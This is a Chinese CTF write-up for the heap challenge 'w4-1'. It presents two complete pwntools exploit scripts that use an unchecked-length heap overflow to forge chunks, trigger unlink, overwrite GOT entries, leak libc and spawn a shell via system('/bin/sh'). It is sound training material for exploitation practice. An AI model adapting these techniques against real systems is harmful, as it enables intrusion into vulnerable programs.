w4-1

漏洞:create和edit都没有检查长度,产生堆溢出。
基本功能:

  1. create notes
  2. display notes
  3. delete notes
  4. modify notes
  5. exit

交互

def create(size,content):
	p.recvuntil("5. exit\n")
	p.sendline("1")
	p.recvuntil("Please enter the size of note : ")
	p.sendline(str(size))
	p.recvuntil("Please enter the note : ")
	p.sendline(content)
def display(index):
	p.recvuntil("5. exit\n")
	p.sendline("2")
	p.recvuntil("Please input index : ")
	p.sendline(str(index))
	p.recvuntil("Notes are : ")
	return p.recvline()
def delete(index):
	p.recvuntil("5. exit\n")
	p.sendline("3")
	p.recvuntil("Please input index : ")
	p.sendline(str(index))
def modify(index,content):
	p.recvuntil("5. exit\n")
	p.sendline("4")
	p.recvuntil("Please input index : ")
	p.sendline(str(index))
	p.recvuntil("Please enter the note : ")
	p.sendline(content)

exp1:只使用create和modify功能
1、构造unlink
2、用got地址替换,设定free、puts、atoi
3、改free(ptr)为puts(got_puts)
4、改atoi(content)为system(’/bin/sh’)

create(200,"aa")#0
create(200,"bb")#1
create(200,"cc")#2
create(200,"dd")#3
delete(0)
'''
通过堆0的溢出,改写堆1和堆2的内容
堆1		(presize=0,size=0xd1)
fake_1	(presize=0,size=0xb1)
fake_2	(fd=p-0x18,size=p-0x10)		p指向的fake_1的地址
……
fake_3	(presize=0xb0,size=0)		呼应fakesize
堆2		(presize=0xc0,size=0xd0)	标记前一个堆块未使用
过程:
1、释放堆2的时候,根据0xc0找到fake_1。
2、根据size0xb1往后找到fake_3会有检查,此处size设成0xc1也可以
3、unlink生效
'''
payload = "d"*192+p64(0)
payload += p64(0xd1)+p64(0)
payload += p64(0xb1)+p64(0x6020a0-0x18+16)+p64(0x6020a0-0x10+16)
payload += "d"*144+p64(0xb0)+p64(0)+p64(0xc0)+p64(0xd0)+p64(0)
create(200,payload)
delete(2)
# 任意修改got表
payload = p64(0)
payload+= p64(elf.got["free"])+p64(0xc8)
payload+= p64(elf.got["puts"])+p64(0xc8)
payload+= p64(elf.got["atoi"])+p64(0xc8)
modify(1,payload)
# 把free改成puts
modify(0,p32(elf.plt["puts"])+"\x00")
# puts(puts_addr)
delete(1)
puts_addr = p.recvuntil('\nDelete success!\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# 把atoi改成system
modify(2,p64(system_addr))
# system(binsh_addr)
p.send(p64(binsh_addr))
p.interactive()

exp2
1、用edit触发unlink
2、got地址替换,设定puts、atoi
3、用程序提供的功能泄露libc
4、改atoi(content)为system(’/bin/sh’)

add(129, 'a\n')
add(129, 'b\n')
# 触发unlink
bss = 0x6020a0
fd = bss - 0x18
bk = bss - 0x10
edit(0, p64(0)+p64(0x80)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+p64(0x90)+'\n')
dele(1)
# unlink使得ptr处的指针变成ptr-0x18,所以填充0x18字节
puts = 0x602020
atoi = 0x602058
edit(0, 'a'*0x18+p64(puts)+p64(0x80)+p64(atoi)+'\n')
# 泄露libc
show(0)
libcbase = u64(io.recv(6)+'\x00\x00') - libc.symbols['puts']
print hex(libcbase)
# system('/bin/sh')
system = libcbase + libc.symbols['system']
edit(1, p64(system)+'\n')
io.recvuntil('exit\n')
io.sendline('/bin/sh\x00')
io.interactive()

反思:
1、unlink时不用在top trunk上添加一个间隔块。
2、应灵活使用程序本身提供的功能来提供方便。
相关资源:
https://gitee.com/sunrise1/CTF/blob/master/w4-1.zip

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值